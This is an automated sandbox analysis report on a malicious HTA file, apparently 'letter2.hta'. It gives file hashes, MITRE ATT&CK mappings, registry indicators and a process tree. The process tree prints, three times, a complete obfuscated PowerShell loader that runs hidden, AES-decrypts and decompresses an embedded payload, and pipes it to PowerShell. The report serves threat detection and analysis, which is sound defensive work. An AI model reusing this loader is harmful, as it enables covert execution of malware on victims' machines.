3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
12s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

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Report Analysis Logs

General

Target

163.5.169.28/letter2.hta
Size

1.1MB
MD5

13c9e9f7f8ce9480b18dbc989eb72944
SHA1

56a3d29e9aa6859d2f3c599d1a28c5d85d0ee713
SHA256

cfe2176b15cb6044459b57401e56b5156a38fc03451d07a9d9b189fcc9fa8f2c
SHA512

7389d08afc30a6174486bd2b71039cac41a685df47cb193d5a8d77c1c38464af96ea4ddb39d84f09b05d6941168cc91eb426702adb9647b9863d699215598867
SSDEEP

1536:ZS1OkP/2puCdfNXfYP9TjJlNXsY6JAfny2mr/l1vcmafSIm+lIWFYoze/1oFv0+2:ZS1OkP/+FXfQ9TjJQYsAfnyB

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1640	powershell.exe
2936	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1640	powershell.exe
1640	powershell.exe
1640	powershell.exe
2948	powershell.exe
2936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2936	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1236 wrote to memory of 1640	1236	mshta.exe	30
PID 1236 wrote to memory of 1640	1236	mshta.exe	30
PID 1236 wrote to memory of 1640	1236	mshta.exe	30
PID 1236 wrote to memory of 1640	1236	mshta.exe	30
PID 1640 wrote to memory of 2864	1640	powershell.exe	32
PID 1640 wrote to memory of 2864	1640	powershell.exe	32
PID 1640 wrote to memory of 2864	1640	powershell.exe	32
PID 1640 wrote to memory of 2864	1640	powershell.exe	32
PID 2864 wrote to memory of 2936	2864	cmd.exe	34
PID 2864 wrote to memory of 2936	2864	cmd.exe	34
PID 2864 wrote to memory of 2936	2864	cmd.exe	34
PID 2864 wrote to memory of 2936	2864	cmd.exe	34
PID 2864 wrote to memory of 2948	2864	cmd.exe	35
PID 2864 wrote to memory of 2948	2864	cmd.exe	35
PID 2864 wrote to memory of 2948	2864	cmd.exe	35
PID 2864 wrote to memory of 2948	2864	cmd.exe	35

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\letter2.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $snJr = 'AAAAAAAAAAAAAAAAAAAAADpW9dTA5DgzRlmx2hyYEa3OIJrSed0WFVoYmX9mF46cZ9u7qiMYiacsl00iHAKvB18Fx7E5QNwgGuWGTH8CYE66N5r0LXkO6cFPsCSzc5PD5I+iZWA5AeV7Z2EGoXLTP/Xt53Q+zkLj5gUTXZ9jd9w3ta3PT3b/vCT9UVlK3eT2FQlC2madUQ12p1+hKYZDHvUnYRJvV3r7R2KvGxCAUQVxhuFX9Lva4yB/smmOftIiClipmtuaPvPyUmItAzgwFt+0er5mvX94daYt7ZVy3FGpibsglrpDaikgXv9gege0Oe3H00WLa1LzfiMCo7ppDTdU3amdP2z5tLSPWFE2mGKs1W41WxZtQKYuuGJnviKhScYPcTnnQ31Y+la2o1Wfsq2chPrxOe0sdB449/WX3lctelU/ASHx7XzSUIECh2Ub63l4bu509XH8cdrEL3es+pKDW/uZIP8lXj4IPPKcoxV1/dIwCH5hXptBtjZLYX/IAh6KbPF5SP+aWmS6av9dAzPq+3OwmFAQqDGrfsIYAT2z0wMSQBp6JGojIDOoQdjk43DNUvWzrXIxWmRu1p4cah2Hb99sEnbCkEWL7OeV96KwPBlFqN2Hc2v9HDxt05MZW4zRtC03hbxCmhB7EQmkifAsOI7RUn84KSKKpFj+0DuRCe1PkdxiEcrQHHz2mxymnKkeCGIEBr3jPQ8Tbz1QnbL1OsGYmfIWqoPnKnkZuetefGdiiLdNb4qcgzXWY/GHeqQCctnDV14semYSLt3p21DovqwXWNS1atLJ7It3U8n8Gw2rYXhKCYSXgsXsPpHvhnFaEngBmDyP/xx/9oUxhEepEKCdP0ogaPOtJjs2H9ggKckGZKEPo7+y9PWD1XfERGpoGbdg6sRb0K8TLxF7mLXu20DTcuD+CAwnv9N259NHekcQvcmzhUR0Ye9NBQudTnGELPadFxY8lf5MKr8LMzyCa9yT+zyjlFrvTlWlE7bDa8pm08Akyp2wlcKTkocp5wKzReXrVvgKUPyQxgnQlQ==';$yXErscEh = 'RFlkQ2xlY1FXQ0RBV29TTGxoRVVpTVdtSUtwZVdtRXg=';$IeHEsMcl = New-Object 'System.Security.Cryptography.AesManaged';$IeHEsMcl.Mode = [System.Security.Cryptography.CipherMode]::ECB;$IeHEsMcl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$IeHEsMcl.BlockSize = 128;$IeHEsMcl.KeySize = 256;$IeHEsMcl.Key = [System.Convert]::FromBase64String($yXErscEh);$sIYkM = [System.Convert]::FromBase64String($snJr);$nPVtdTaP = $sIYkM[0..15];$IeHEsMcl.IV = $nPVtdTaP;$hIFKalRAQ = $IeHEsMcl.CreateDecryptor();$vsEyILmvG = $hIFKalRAQ.TransformFinalBlock($sIYkM, 16, $sIYkM.Length - 16);$IeHEsMcl.Dispose();$dSPNfwoK = New-Object System.IO.MemoryStream( , $vsEyILmvG );$jWtGXMG = New-Object System.IO.MemoryStream;$YYsTAwvyZ = New-Object System.IO.Compression.GzipStream $dSPNfwoK, ([IO.Compression.CompressionMode]::Decompress);$YYsTAwvyZ.CopyTo( $jWtGXMG );$YYsTAwvyZ.Close();$dSPNfwoK.Close();[byte[]] $nxTYnfE = $jWtGXMG.ToArray();$ixWuCXOI = [System.Text.Encoding]::UTF8.GetString($nxTYnfE);$ixWuCXOI
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
aa8be7fefa20eda977d6855c8fe3e0c5

SHA1
4e3e1471b23c8c142ef25ac9ff95eb60dc28260d

SHA256
654e0cac9395e79da5a61b934276793216b922b871589067f6aeb50ed3489613

SHA512
e923a9187fa28725c0f5f83eb3a3b41750ce6df731a9ce891cfb3fa0d391d45c83f0fdb4e91104c876a80c5c0d9f8c68c4b39ad0db8bff9a688f7b2667b421ea

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